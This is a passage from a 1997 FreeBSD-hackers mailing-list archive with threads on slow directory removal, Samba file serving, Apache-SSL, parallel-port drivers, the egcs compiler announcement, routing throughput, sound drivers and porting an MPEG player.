isn't important. What is important is the size of the directory. You can have a 20MB directory and yet have only a 100 files in it. There is code to free up unused space in directories, but it only works if the free space is at the end. If the directory is large, then it will take a large amount of time to search through it. -DG David Greenman Core-team/Principal Architect, The FreeBSD Project From owner-freebsd-hackers Sat Aug 16 05:26:22 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id FAA21257 for hackers-outgoing; Sat, 16 Aug 1997 05:26:22 -0700 (PDT) Received: from ocean.campus.luth.se (ocean.campus.luth.se [130.240.194.116]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id FAA21252 for ; Sat, 16 Aug 1997 05:26:19 -0700 (PDT) Received: (from karpen@localhost) by ocean.campus.luth.se (8.8.5/8.8.5) id OAA01231; Sat, 16 Aug 1997 14:29:10 +0200 (CEST) From: Mikael Karpberg Message-Id: <199708161229.OAA01231@ocean.campus.luth.se> Subject: Re: More info on slow "rm" times with 2.2.1+. In-Reply-To: <199708161207.FAA26252@implode.root.com> from David Greenman at "Aug 16, 97 05:07:22 am" To: dg@root.com Date: Sat, 16 Aug 1997 14:29:10 +0200 (CEST) Cc: hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk According to David Greenman: [...] > > It would be trivial for me to verify any slow or fast times - all > >I've got to do is make a big directory... seems that ~300 files is > >enough to run into whatever the problem may be... > > How many files are in the directory isn't important. What is important is > the size of the directory. You can have a 20MB directory and yet have only a > 100 files in it. There is code to free up unused space in directories, but > it only works if the free space is at the end. If the directory is large, > then it will take a large amount of time to search through it. And this cuz it's slow? Or? Isn't there a command (which could be run in daily, or weekly, or something) that goes through a directory (or many) and optimize the space they take? If there isn't... why? And would it be hard to write? /Mikael From owner-freebsd-hackers Sat Aug 16 06:15:44 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id GAA22673 for hackers-outgoing; Sat, 16 Aug 1997 06:15:44 -0700 (PDT) Received: from ais.ais-gwd.com (root@ais.ais-gwd.com [205.160.97.3]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id GAA22668 for ; Sat, 16 Aug 1997 06:15:41 -0700 (PDT) Received: from LOCALNAME (slip166-72-160-231.sc.us.ibm.net [166.72.160.231]) by ais.ais-gwd.com (8.8.5/8.7.3) with SMTP id JAA23712 for ; Sat, 16 Aug 1997 09:27:10 -0400 (EDT) Message-Id: <199708161327.JAA23712@ais.ais-gwd.com> Comments: Authenticated sender is From: "Charles A. Peters" To: hackers@freebsd.org Date: Sat, 16 Aug 1997 09:22:03 +0000 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: FreeBSD File Server on a Novell 3.12 Network Priority: normal X-mailer: Pegasus Mail for Windows (v2.53/R1) Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I am in the process of attempting to set up a FreeBSD file server to be attached to my Novell 3.12 IPX network. I was wondering what the most reliable way to accomplish this task would be. My primary goal is to have a server capable of housing files with long file names (WinNT files, Windows95 files, and Unix type files). I understand that the SAMBA product included with my copy of FreeBSD Version 2.1 may be used to accomplish this task. Any suggestions would be greatly appreciated. Thanks, Charles Charles A. Peters charlespeters@tecpro.com http://www.tecpro.com/ 864-255-6600 Message Center From owner-freebsd-hackers Sat Aug 16 06:30:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id GAA23234 for hackers-outgoing; Sat, 16 Aug 1997 06:30:05 -0700 (PDT) Received: from gratis.grondar.za (gratis.grondar.za [196.7.18.133]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id GAA23198 for ; Sat, 16 Aug 1997 06:29:54 -0700 (PDT) Received: from greenpeace.grondar.za (fN9W6P1Dqixm7ZEAxEiuFZlboO6mumZC@greenpeace.grondar.za [196.7.18.132]) by gratis.grondar.za (8.8.6/8.8.7) with ESMTP id PAA07381; Sat, 16 Aug 1997 15:29:49 +0200 (SAT) Received: from greenpeace.grondar.za (jSP3yMm7GabUXbKxQD8o8odvnXSZlYgL@localhost [127.0.0.1]) by greenpeace.grondar.za (8.8.6/8.8.7) with ESMTP id PAA28587; Sat, 16 Aug 1997 15:29:25 +0200 (SAT) Message-Id: <199708161329.PAA28587@greenpeace.grondar.za> X-Mailer: exmh version 2.0zeta 7/24/97 To: hackers@FreeBSD.ORG, andreas@klemm.gtn.com Subject: Re: cvs commit: ports/www/apache-ssl Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Date: Sat, 16 Aug 1997 15:29:23 +0200 From: Mark Murray Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by hub.freebsd.org id GAA23199 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Andreas Klemm wrote: > Great ! Thanks a lot ! Pleasure! > BTW, is Apache+SSL a big performance eater ? Should the secure > server be run on a separate machine only for transactions that > need encryption ? Or is it ok to run it in parallel to an apache > without encryprion ? Run it on the same machine. You should not have any hassles. > The machine is a P200 with 128 MB RAM, that currently doesnŽt have > many hits (about 1000-2000 a day ;-). Wow - that machine is empty. Poor thing :-) > Or would it be ok to install the secure server only as long as the > hit rate isnŽt that much ??? No problem. > Is every transaction encrypted on a secure apache server or am > I allowed to fine tune via .htaccess files, where encryption > takes place and where not ??? You can set up a server that does both. M -- Mark Murray Join the anti-SPAM movement: http://www.cauce.org From owner-freebsd-hackers Sat Aug 16 07:13:16 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA24767 for hackers-outgoing; Sat, 16 Aug 1997 07:13:16 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id HAA24749; Sat, 16 Aug 1997 07:13:06 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id XAA01911; Sat, 16 Aug 1997 23:43:00 +0930 (CST) From: Michael Smith Message-Id: <199708161413.XAA01911@genesis.atrad.adelaide.edu.au> Subject: Re: Parallel port developpements - ppbus In-Reply-To: <26636.871698559@orion.webspan.net> from Gary Palmer at "Aug 15, 97 10:29:19 pm" To: gpalmer@FreeBSD.ORG (Gary Palmer) Date: Sat, 16 Aug 1997 23:43:00 +0930 (CST) Cc: Nicolas.Souchu@prism.uvsq.fr, phk@critter.dk.tfs.com, freebsd-hackers@FreeBSD.ORG, freebsd-hardware@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Gary Palmer stands accused of saying: > Nicolas Souchu wrote in message ID > <33F4BEF3.446B9B3D@prism.uvsq.fr>: > > - plip should of course. > > We want to move it to a standalone file... plip.c? > > How about QCam support? The QuickCam people are doing everything with user-space I/O these days, which falls under the ppi driver in the new model. The old 'qc' driver can probably be diked. > Gary -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Sat Aug 16 07:14:47 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA24866 for hackers-outgoing; Sat, 16 Aug 1997 07:14:47 -0700 (PDT) Received: from soleil.uvsq.fr (soleil.uvsq.fr [193.51.24.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id HAA24861 for ; Sat, 16 Aug 1997 07:14:44 -0700 (PDT) Received: from guillotin.prism.uvsq.fr (guillotin.prism.uvsq.fr [193.51.25.1]) by soleil.uvsq.fr (8.8.6/jtpda-5.2) with ESMTP id QAA23463 for ; Sat, 16 Aug 1997 16:14:41 +0200 (METDST) Received: from coreff (rtc102.reseau.uvsq.fr [193.51.24.18]) by guillotin.prism.uvsq.fr (8.8.4/jtpda-5.2) with SMTP id QAA13983 for ; Sat, 16 Aug 1997 16:14:39 +0200 (MET DST) Message-ID: <33F5D382.167EB0E7@prism.uvsq.fr> Date: Sat, 16 Aug 1997 16:21:22 +0000 From: Nicolas Souchu X-Mailer: Mozilla 3.01Gold (X11; I; FreeBSD 2.2.1-RELEASE i386) MIME-Version: 1.0 To: FreeBSD hackers Subject: QCam port to ppbus Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hey! the software already exists for the QCam. I didn't think so. I was straying into saying it should be a rewrite of the Linux driver. That's a port then, not a rewrite. Who administrate it at FreeBSD? What is the struture of the soft? There's a driver, libraries, viewers? nicolas -- Nicolas.Souchu@prism.uvsq.fr My ZIP Iomega home page... http://www.prism.uvsq.fr/~son/ppa3.html From owner-freebsd-hackers Sat Aug 16 07:33:21 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA25620 for hackers-outgoing; Sat, 16 Aug 1997 07:33:21 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id HAA25611 for ; Sat, 16 Aug 1997 07:33:16 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id AAA01989; Sun, 17 Aug 1997 00:03:06 +0930 (CST) From: Michael Smith Message-Id: <199708161433.AAA01989@genesis.atrad.adelaide.edu.au> Subject: Re: QCam port to ppbus In-Reply-To: <33F5D382.167EB0E7@prism.uvsq.fr> from Nicolas Souchu at "Aug 16, 97 04:21:22 pm" To: Nicolas.Souchu@prism.uvsq.fr (Nicolas Souchu) Date: Sun, 17 Aug 1997 00:03:05 +0930 (CST) Cc: freebsd-hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Nicolas Souchu stands accused of saying: > Hey! the software already exists for the QCam. I didn't think so. > > I was straying into saying it should be a rewrite of the Linux driver. > That's a port then, not a rewrite. > > Who administrate it at FreeBSD? Paul Traina (pst@freebsd.org) is probably your best contact. -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Sat Aug 16 07:50:44 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA26341 for hackers-outgoing; Sat, 16 Aug 1997 07:50:44 -0700 (PDT) Received: from earth.mat.net (root@earth.mat.net [206.246.122.2]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id HAA26336 for ; Sat, 16 Aug 1997 07:50:40 -0700 (PDT) Received: from Journey2.mat.net (journey2.mat.net [206.246.122.116]) by earth.mat.net (8.6.12/8.6.12) with SMTP id KAA21387; Sat, 16 Aug 1997 10:45:33 -0400 Date: Sat, 16 Aug 1997 10:45:27 -0400 (EDT) From: Chuck Robey X-Sender: chuckr@Journey2.mat.net To: Mikael Karpberg cc: hackers@FreeBSD.ORG Subject: Re: A bit off topic: GCC 2.8??? In-Reply-To: <199708160900.LAA00307@ocean.campus.luth.se> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sat, 16 Aug 1997, Mikael Karpberg wrote: > Hello! > > I'm interested in using exceptions and other final standard C++ thingies, > and I'm therefor waiting for g++ 2.8.x to show up. It's not in FreeBSD yet, > but is it out there somewhere? You realize, I hope, that FreeBSD isn't going to jump to 2.8 the moment it's released, anyhow. Just like every other upgrade of gcc, there will be a long waiting period, while the new gcc has all the bugs shaken out of it. I think last time it was about a year, wasn't it? > > If not, does anyone have any estimations at all on when it will be released? > And what will it handle? How finished is it? Any news? > > Maybe also... where _should_ I have asked this? :) And is there any web > page with updated news on how development is going, etc? > > /Mikael > > ----------------------------+----------------------------------------------- Chuck Robey | Interests include any kind of voice or data chuckr@eng.umd.edu | communications topic, C programming, and Unix. 213 Lakeside Drive Apt T-1 | Greenbelt, MD 20770 | I run Journey2 and picnic, both FreeBSD (301) 220-2114 | version 3.0 current -- and great FUN! ----------------------------+----------------------------------------------- From owner-freebsd-hackers Sat Aug 16 08:19:01 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA27087 for hackers-outgoing; Sat, 16 Aug 1997 08:19:01 -0700 (PDT) Received: from nasu.utsunomiya-u.ac.jp (nasu.utsunomiya-u.ac.jp [160.12.128.3]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA27081 for ; Sat, 16 Aug 1997 08:18:57 -0700 (PDT) Received: from outmail.utsunomiya-u.ac.jp (outmail.utsunomiya-u.ac.jp [160.12.196.3]) by nasu.utsunomiya-u.ac.jp (8.8.4+2.7Wbeta4/3.5Wpl3) with ESMTP id AAA02499 for ; Sun, 17 Aug 1997 00:11:46 +0900 (JST) Received: from zodiac.mech.utsunomiya-u.ac.jp (tJvsTXrrA6MvGevZk+PpDAWS4zEBPw4w@zodiac.mech.utsunomiya-u.ac.jp [160.12.33.1]) by outmail.utsunomiya-u.ac.jp (8.8.4+2.7Wbeta4/3.5Wpl3) with ESMTP id AAA05318 for ; Sun, 17 Aug 1997 00:11:42 +0900 (JST) Received: from zodiac.mech.utsunomiya-u.ac.jp (zodiac.mech.utsunomiya-u.ac.jp [160.12.33.1]) by zodiac.mech.utsunomiya-u.ac.jp (8.7.6+2.6Wbeta7/3.4W/zodiac-May96) with ESMTP id AAA25850; Sun, 17 Aug 1997 00:17:35 +0900 (JST) Message-Id: <199708161517.AAA25850@zodiac.mech.utsunomiya-u.ac.jp> To: hackers@freebsd.org cc: yokota@zodiac.mech.utsunomiya-u.ac.jp Subject: extending mouse support Date: Sun, 17 Aug 1997 00:17:34 +0900 From: Kazutaka YOKOTA Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I have been thinking about extending mouse support in FreeBSD, and have managed to write a set of patch files for 3.0-CURRENT to modify device drivers (psm, mse), `moused' and `sysmouse (syscons)' to take advantage of new features (such as a wheel) of recent mouse products. I have placed the patch files and documentation in ftp://ftp.freebsd.org/pub/FreeBSD/incoming, I also included the patch for XFree86 3.3. Details of modifications are described in NOTES in the tar file. I would be grateful if you could kindly try it and send me some comments. Kazu From owner-freebsd-hackers Sat Aug 16 09:23:38 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA29311 for hackers-outgoing; Sat, 16 Aug 1997 09:23:38 -0700 (PDT) Received: from kalypso.iqm.unicamp.br (kalypso.iqm.unicamp.br [143.106.51.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id JAA29304 for ; Sat, 16 Aug 1997 09:23:33 -0700 (PDT) Received: (from vazquez@localhost) by kalypso.iqm.unicamp.br (8.8.6/8.7.3/FreeBSD/2.1.5) id NAA21410; Sat, 16 Aug 1997 13:26:29 -0300 (EST) From: Pedro A M Vazquez Message-Id: <199708161626.NAA21410@kalypso.iqm.unicamp.br> Subject: Re: A bit off topic: GCC 2.8??? To: hackers@freebsd.org Date: Sat, 16 Aug 1997 13:26:29 -0300 (EST) Cc: karpen@ocean.campus.luth.se X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > I'm interested in using exceptions and other final standard C++ thingies, > and I'm therefor waiting for g++ 2.8.x to show up. It's not in FreeBSD yet, > but is it out there somewhere? > > If not, does anyone have any estimations at all on when it will be released? > And what will it handle? How finished is it? Any news? > > Maybe also... where _should_ I have asked this? :) And is there any web > page with updated news on how development is going, etc? I've just received this on the g77 list Craig Burley was saying that: > From burley@gnu.ai.mit.edu Sat Aug 16 13:11:20 1997 > Date: Sat, 16 Aug 1997 12:03:47 -0400 (EDT) > Message-Id: <199708161603.MAA00647@churchy.gnu.ai.mit.edu> > From: Craig Burley > To: g77-alpha@gnu.ai.mit.edu > Subject: [gumby@cygnus.com: A new project to merge the existing GCC forks] > > [Since this affects g77, I'm forwarding it here.] > > > ------- Start of forwarded message ------- > Mime-Version: 1.0 > Content-Type: text/plain; charset="us-ascii" > Date: Fri, 15 Aug 1997 16:31:29 -0700 > From: gumby@cygnus.com (D.V. Henkel-Wallace) > Subject: A new project to merge the existing GCC forks > > A bunch of us (including Fortran, Linux, Intel and RTEMS hackers) have > decided to start a more experimental development project, just like > Cygnus and the FSF started the gcc2 project about 6 years ago. Only > this time the net community with which we are working is larger! We > are calling this project 'egcs' (pronounced 'eggs'). > > Why are we doing this? It's become increasingly clear in the course > of hacking events that the FSF's needs for gcc2 are at odds with the > objectives of many in the community who have done lots of hacking and > improvment over the years. GCC is part of the FSF's publicity for the > GNU project, as well as being the GNU system's compiler, so stability > is paramount for them. On the other hand, Cygnus, the Linux folks, > the pgcc folks, the Fortran folks and many others have done > development work which has not yet gone into the GCC2 tree despite > years of efforts to make it possible. > > This situation has resulted in a lot of strong words on the gcc2 > mailing list which really is a shame since at the heart we all want > the same thing: the continued success of gcc, the FSF, and Free > Software in general. Apart from ill will, this is leading to great > divergence which is increasingly making it harder for us all to work > together -- It is almost as if we each had a proprietary compiler! > Thus we are merging our efforts, building something that won't damage > the stability of gcc2, so that we can have the best of both worlds. > > As you can see from the list below, we represent a diverse collection > of streams of GCC development. These forks are painful and waste > time; we are bringing our efforts together to simplify the development > of new features. We expect that the gcc2 and egcs communities will > continue to overlap to a great extent, since they're both working on > GCC and both working on Free Software. All code will continue to be > assigned to the FSF exactly as before and will be passed on to the > gcc2 maintainers for ultimate inclusion into the gcc2 tree. > > Because the two projects have different objectives, there will be > different sets of maintainers. Provisionally we have agreed that Jim > Wilson is to act as the egcs maintainer and Jason Merrill as the > maintainer of the egcs C++ front end. Craig Burley will continue to > maintain the Fortran front end code in both efforts. > > What new features will be coming up soon? There is such a backlog of > tested, un-merged-in features that we have been able to pick a useful > initial set: > > New alias analysis support from John F. Carr. > g77 (with some performance patches). > A C++ repository for G++. > A new instruction scheduler from IBM Haifa. > A regmove pass (2-address machine optimizations that in future > will help with compilation for the x86 and for now > will help with some RISC machines). > > This will use the development snapshot of 3 August 97 as its base -- > in other words we're not starting from the 18 month old gcc-2.7 > release, but from a recent development snapshot with all the last 18 > months' improvements, including major work on G++. > > We plan an initial release for the end of August. The second release > will include some subset of the following: > global cse and partial redundancy elimination. > live range splitting. > More features of IBM Haifa's instruction scheduling, > including software pipelineing, and branch scheduling. > sibling call opts. > various new embedded targets. > Further work on regmove. > The egcs mailing list at cygnus.com will be used to discuss and > prioritize these features. > > How to join: send mail to egcs-request at cygnus.com. That list is > under majordomo. > > We have a web page that describes the various mailing lists and has > this information at: http://www.cygnus.com/egcs. > > Alternatively, look for these releases as they spread through other > projects such as RTEMS, Linux, etc. > > Come join us! > David Henkel-Wallace > (for the egcs members, who currently include, among others): > Per Bothner > Joe Buck > Craig Burley > John F. Carr > Stan Cox > David Edelsohn > Kaveh R. Ghazi > Richard Henderson > David Henkel-Wallace > Gordon Irlam > Jakub Jelinek > Kim Knuttila > Gavin Koch > Jeff Law > Marc Lehmann > H.J. Lu > Jason Merrill > Michael Meissner > David S. Miller > Toon Moene > Jason Molenda > Andreas Schwab > Joel Sherrill > Ian Lance Taylor > Jim Wilson > ------- End of forwarded message ------- > From owner-freebsd-hackers Sat Aug 16 10:42:41 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA02269 for hackers-outgoing; Sat, 16 Aug 1997 10:42:41 -0700 (PDT) Received: from obiwan.psinet.net.au (obiwan.psinet.net.au [203.19.28.59]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id KAA02263 for ; Sat, 16 Aug 1997 10:42:35 -0700 (PDT) Received: from localhost (adrian@localhost) by obiwan.psinet.net.au (8.8.5/8.8.5) with SMTP id BAA14857 for ; Sun, 17 Aug 1997 01:12:32 +0800 (WST) Date: Sun, 17 Aug 1997 01:12:32 +0800 (WST) From: Adrian Chadd To: freebsd-hackers@freebsd.org Subject: Throughput on kernel routing rules? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Anyone ever done any tests to see how many packets per second FreeBSD can route? Along the same lines, what about ipfw / accounting rules? Also Without saying "RTSL", can someone explain to me briefly how the kernel does its routing table lookups? (I wish I had time to spend hours looking though kernel source to figure it out myself, but work duties call..) Thanks, -- Adrian Chadd | "Unix doesn't stop you from doing | stupid things because that would | stop you from doing clever things" From owner-freebsd-hackers Sat Aug 16 11:37:20 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA04487 for hackers-outgoing; Sat, 16 Aug 1997 11:37:20 -0700 (PDT) Received: from avon-gw.uk1.vbc.net (jdd@avon-gw.uk1.vbc.net [194.207.2.20]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id LAA04482 for ; Sat, 16 Aug 1997 11:37:17 -0700 (PDT) Received: (from jdd@localhost) by avon-gw.uk1.vbc.net (8.8.2/8.7.3) id TAA22350; Sat, 16 Aug 1997 19:37:02 +0100 (BST) Date: Sat, 16 Aug 1997 19:37:01 +0100 (BST) From: Jim Dixon X-Sender: jdd@avon-gw.uk1.vbc.net To: Adrian Chadd cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Throughput on kernel routing rules? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sun, 17 Aug 1997, Adrian Chadd wrote: > Anyone ever done any tests to see how many packets per second FreeBSD > can route? We have seen something like 10-15Kpps. There is a group at MIT working on a FreeBSD-based router, see http://ana-www.lcs.mit.edu/anaweb/pcrouter.html As I recall they talk about forwarding 500Kpps through the kernel, perhaps 50 - 100 Kpps through the interfaces. They use a modified FreeBSD and two CPUs, one to do the forwarding and one to handle the gated calculations. It's well worth looking at. -- Jim Dixon VBCnet GB Ltd http://www.vbc.net tel +44 117 929 1316 fax +44 117 927 2015 From owner-freebsd-hackers Sat Aug 16 12:06:02 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA05925 for hackers-outgoing; Sat, 16 Aug 1997 12:06:02 -0700 (PDT) Received: from rah.star-gate.com (rah.star-gate.com [204.188.121.18]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA05918; Sat, 16 Aug 1997 12:05:58 -0700 (PDT) Received: from rah.star-gate.com (localhost.star-gate.com [127.0.0.1]) by rah.star-gate.com (8.8.7/8.8.5) with ESMTP id MAA07586; Sat, 16 Aug 1997 12:05:53 -0700 (PDT) Message-Id: <199708161905.MAA07586@rah.star-gate.com> X-Mailer: exmh version 2.0gamma 1/27/96 To: Steve Passe cc: multimedia@FreeBSD.ORG, hackers@FreeBSD.ORG Subject: Re: any plans for soundriver or bktr? In-reply-to: Your message of "Sat, 16 Aug 1997 12:17:01 MDT." <199708161817.MAA04418@Ilsa.StevesCafe.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 16 Aug 1997 12:05:53 -0700 From: Amancio Hasty Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi Steve, All my development is on 3.0-current . Got to admit that the bktr driver should be fairly easy to port;however, the sound driver is a different story since it needs more exposure. So if anyone cares to port the bktr to 2.2 thats fine and for the man page just edit the man page for the meteor driver. The latest sound driver snap is at : ftp://rah.star-gate.com/pub/guspnp15.tar.gz If people want want linux sound driver 3.5 compatibility then I suggest that they down load guspnp15 which works for pas16, pro - audio spectrum, gus pnp pro, gus max and sb16 . There is also an experimental driver for the sb awe . Bug reports to : multimedia@freebsd.org and please include your OS version , sound card model and the output of "cat /dev/sndstat". Tnks, Amancio From owner-freebsd-hackers Sat Aug 16 12:16:30 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA06444 for hackers-outgoing; Sat, 16 Aug 1997 12:16:30 -0700 (PDT) Received: from rah.star-gate.com (rah.star-gate.com [204.188.121.18]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA06434; Sat, 16 Aug 1997 12:16:26 -0700 (PDT) Received: from rah.star-gate.com (localhost.star-gate.com [127.0.0.1]) by rah.star-gate.com (8.8.7/8.8.5) with ESMTP id MAA07649; Sat, 16 Aug 1997 12:16:22 -0700 (PDT) Message-Id: <199708161916.MAA07649@rah.star-gate.com> X-Mailer: exmh version 2.0gamma 1/27/96 To: "Jordan K. Hubbard" cc: Tristan Savatier , multimedia@freebsd.org, hackers@freebsd.org Subject: Re: freebsd version of mpegtv? In-reply-to: Your message of "Sat, 16 Aug 1997 11:51:32 PDT." <12290.871757492@time.cdrom.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 16 Aug 1997 12:16:22 -0700 From: Amancio Hasty Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Well, are folks interested in mpegtv?? http://www.mpegtv.com As far as I know mpegtv is the best mpeg player available for FreeBSD . I have used the linux version which so far has been okay to use however if we want the capability to use the mpeg plugin then I think is best to have a native port to use with the native port of netscape. The latest version also has an mpegtv plug-in for unix if you ask me thats a very cool feature. As for the port , I wouldn't worry too much about it because I can help out Tristan by way of answering questions or help him trouble shoot the bugs. Tnks, Amancio >From The Desk Of "Jordan K. Hubbard" : > Erm, it's not clear to me from the following message just what help it > is you're asking for here? If you're wondering whether or not someone > would wish to contract with Tristan for this work then all I can say > is that I don't know of anyone who'd be that much interested in it at > the current time. > > Jordan > > > > > > Hi Jordan , > > > > Any way that you can help out so we can get a native port of mpegtv? > > > > The actual port shouldn't take that long . My best guess is that on > > a bad day it should take a day given that linux and freebsd > > from an X perpective and audio are nearly identical and yes Tristan > > I have tons of experience porting apps to FreeBSD . apps like > > X , the linux sound driver 3.5, tcl/tk, etc... > > > > > > Tnks, > > Amancio > > > > >From The Desk Of Tristan Savatier : > > > Amancio Hasty wrote: > > > > > > > > Care to compile mpegtv for freebsd ? > > > > > > > > It should take less than an hour. > > > > > > I don't have any freeBSD system installed. > > > > > > Nothing should take more than one hour, but in average > > > a port takes me at least one week (including > > > working around all sorts of bugs, like in the audio driver, > > > in Xlib, etc). I have done 5 ports, so > > > my statistics on the time a port takes is reliable... > > > > > > Add a few days to install a system and a few days > > > to gather and install all the proper tools. > > > > > > got the picture ? > > > > > > If a customer is ready to pay for my time doing > > > that, I'll do it. > > > > > > --T > > > > > From owner-freebsd-hackers Sat Aug 16 12:16:49 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA06494 for hackers-outgoing; Sat, 16 Aug 1997 12:16:49 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id MAA06489 for ; Sat, 16 Aug 1997 12:16:45 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id MAA04371; Sat, 16 Aug 1997 12:10:35 -0700 From: Terry Lambert Message-Id: <199708161910.MAA04371@phaeton.artisoft.com> Subject: Re: More info on slow "rm" times with 2.2.1+. To: dg@root.com Date: Sat, 16 Aug 1997 12:10:35 -0700 (MST) Cc: ponds!rivers@dg-rtp.dg.com, hackers@FreeBSD.ORG In-Reply-To: <199708161207.FAA26252@implode.root.com> from "David Greenman" at Aug 16, 97 05:07:22 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > It would be trivial for me to verify any slow or fast times - all > >I've got to do is make a big directory... seems that ~300 files is > >enough to run into whatever the problem may be... > > How many files are in the directory isn't important. What is important is > the size of the directory. You can have a 20MB directory and yet have only a > 100 files in it. There is code to free up unused space in directories, but > it only works if the free space is at the end. If the directory is large, > then it will take a large amount of time to search through it. Specifically, if I have a directory with 20,000 entries, and I average 32 entries per block ((512/32) - 8 bytes entry data per 4-7 byte name), then I am using 625 blocks. The opendir/readdir library routines operate by calling getdents() once per block to refill the user space "snapshot" of a directory block, on a block by block basis. That is, I call opendir and it calls getdents() and grabs the first 32 entries. I call readdir and move forward unitil I've returned all 32, and then call getdents() again. Now you are linearly traversing the directory forward (using getdents()) to do this. Say you want to remove all entries. You delete the first entry (ignore the vagries of "." and ".." for a second). This modifies the first directory block. Now you get halfway through. You must linearly traverse 312 directory blocks in the lookup for the entry you are going to delete. Now you are 3/4 of the way thorugh. You must linearly traverse 466 directory blocks in the lookup for the entry you are going to delete. In other words, your traversal is going to 